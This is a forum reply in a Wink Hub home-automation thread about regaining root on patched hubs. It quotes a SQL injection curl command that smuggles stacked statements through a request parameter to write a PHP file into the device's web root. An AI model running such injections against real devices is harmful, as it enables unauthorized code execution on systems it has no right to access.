re: Official WINK HUB Home Automation thread

BOOM GOES THE DYNAMITE!

quote:

---

Eureka! I’ve pwned the patched wink hub using a SQL injection! It remains to be seen whether or not I can post the actual exploit here, I may have to post it elsewhere then link back to this.

But–if you lost root by updating incorrectly, you’ll be able to get back in very shorty… Trust me, it’s easier than the process of safely updating!

---

This means if you guys want to start playing with your hubs and are afraid of losing root by updating, you don't have to worry.

Now WINK may get wise at some point and close this exploit down but thats not happening with the current firmware.



preserved for the future

quote:

---

curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('');--" http://10.0.0.88/dev_detail.php

---